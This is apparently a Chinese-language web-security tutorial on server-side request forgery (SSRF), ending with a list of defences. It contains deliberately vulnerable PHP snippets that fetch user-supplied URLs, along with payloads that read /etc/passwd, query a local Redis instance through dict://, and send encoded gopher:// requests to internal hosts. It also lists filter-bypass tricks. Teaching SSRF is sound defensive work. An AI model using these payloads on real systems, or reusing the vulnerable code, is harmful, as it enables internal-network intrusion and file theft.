您当前的位置:首页 > 计算机 > 安全防护

SSRF漏洞

时间:10-12来源:作者:点击数:

SSRF概述

SSRF:Server-Side Request Forgery,即服务器端请求伪造,就是让服务器替攻击者发请求。SSRF的目标往往是从外网无法访问的内部系统。

SSRF 形成原因:大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

存在SSRF漏洞的服务器可以作为我们攻击的跳板,直接攻击内网系统,因为内网普遍安全性较为薄弱,就极有可能导致内网沦陷。

SSRF漏洞的检测与挖掘

SSRF可能出现在图片抓取,网页分享等服务器对外发起请求的地方。测试的时候注意目标站点的功能,注意带有URL以及文件名等可以参数的请求。经常出现SSRF漏洞的位置:

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

SSRF漏洞利用

主要分为两个方向:

  • SSRF 利用相关的危险函数;
  • SSRF 可利用的协议操作;

危险函数

file_get_contents() 与 readfile()

函数功能:是 PHP 中一个用于读取文件内容的函数

造成结果:文件读取

测试代码:

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

可以在URL里面构造payload:

?url=../../../../../../etc/passwd
fsockopen()

函数功能:可以用于与远程服务器建立 TCP/IP 连接,并进行网络通信。

造成结果:类似302重定向,没啥用

测试代码:

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

payload:

?url=www.baidu.com

就会跳转到百度的页面:

curl_exec()

函数功能:PHP 中用于执行 cURL 请求的函数。cURL(Client URL)是一个用于在 PHP 中进行网络通信的库,支持多种协议(如 HTTP、HTTPS、FTP 等)。

造成结果:执行URL请求

测试样例:

<?php 
if (isset($_GET['url'])){
	$link = $_GET['url'];
	$curlobj = curl_init(); // 创建新的 cURL 资源
	curl_setopt($curlobj, CURLOPT_POST, 0);
	curl_setopt($curlobj,CURLOPT_URL,$link);
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
	$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
	curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
 
	// $filename = './curled/'.rand().'.txt';
	// file_put_contents($filename, $result); 
	echo $result;
}
?>

payload:

?url=www.baidu.com

请求百度网页

危险协议

常用协议:file,gopher,http

file 协议的利用

payload:

http://ip/index.php?url=file:///etc/password

这里的 Payload 只是一个基础示范,还可以读取很多文件,在实战渗透当中,更多情况应该是通过 GET 请求攻击的。

dict协议的使用

获取服务器本机的redis信息

http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:6379/info
http协议的利用

探测内网主机存活,也可以结合一些只需要Get的payload进行攻击利用

paylaod:

?x=http://xxx.xxx.xxx.xxx

往往是GET请求方式进行利用,参数接收并发起请求,我们可以把这个地址换成内网的IP地址,对内网进行探针。

gopher协议的利用

gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。

gopher发送GET请求

本地PHP接收:

<?php
    echo $_GET['name'];
?>

把下面的GET型数据包发送

GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2

将上面的数据包直接在Burpsuite 中将数据进行编码

%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32

编码的时候在最后一定要补%0d%0a代表结束。

gopher://10.211.55.2:80/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a

gopher发送post请求

本地PHP接收:

<?php
    echo $_POST['name'];
?>

我们用gopher协议传递POST请求时,必须要包含这四个,还有一个post传参。

POST /testg.php HTTP/1.1
Host: 10.211.55.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

name=xxx

把这一部分进行URL编码,后面加上%0d%0a

gopher://10.211.55.2:80/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a

SSRF绕过

可以参考这一篇,十分全面:

SSRF绕过方法总结

1. 利用URL解析问题:

https://www.baidu.com@google.com 与 https://google.com 效果是一样的

2. 短地址

3. IP地址进制转换      

4. Enclosed alphanumerics 字符集绕过

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

SSRF无回显问题

半盲处理思路:接收不到返回的内容,但是可以得到请求成功失败的信息。

全盲处理思路:采用DNS带外测试

SSRF防御

  1. 禁止跳转
  2. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  3. 禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
  4. 设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
  5. 限制请求的端口为http常用的端口,比如 80、443、8080、8090
  6. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

SSRF在实际中遇到,主要利用点还是文件读取和内网探针利用居多。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门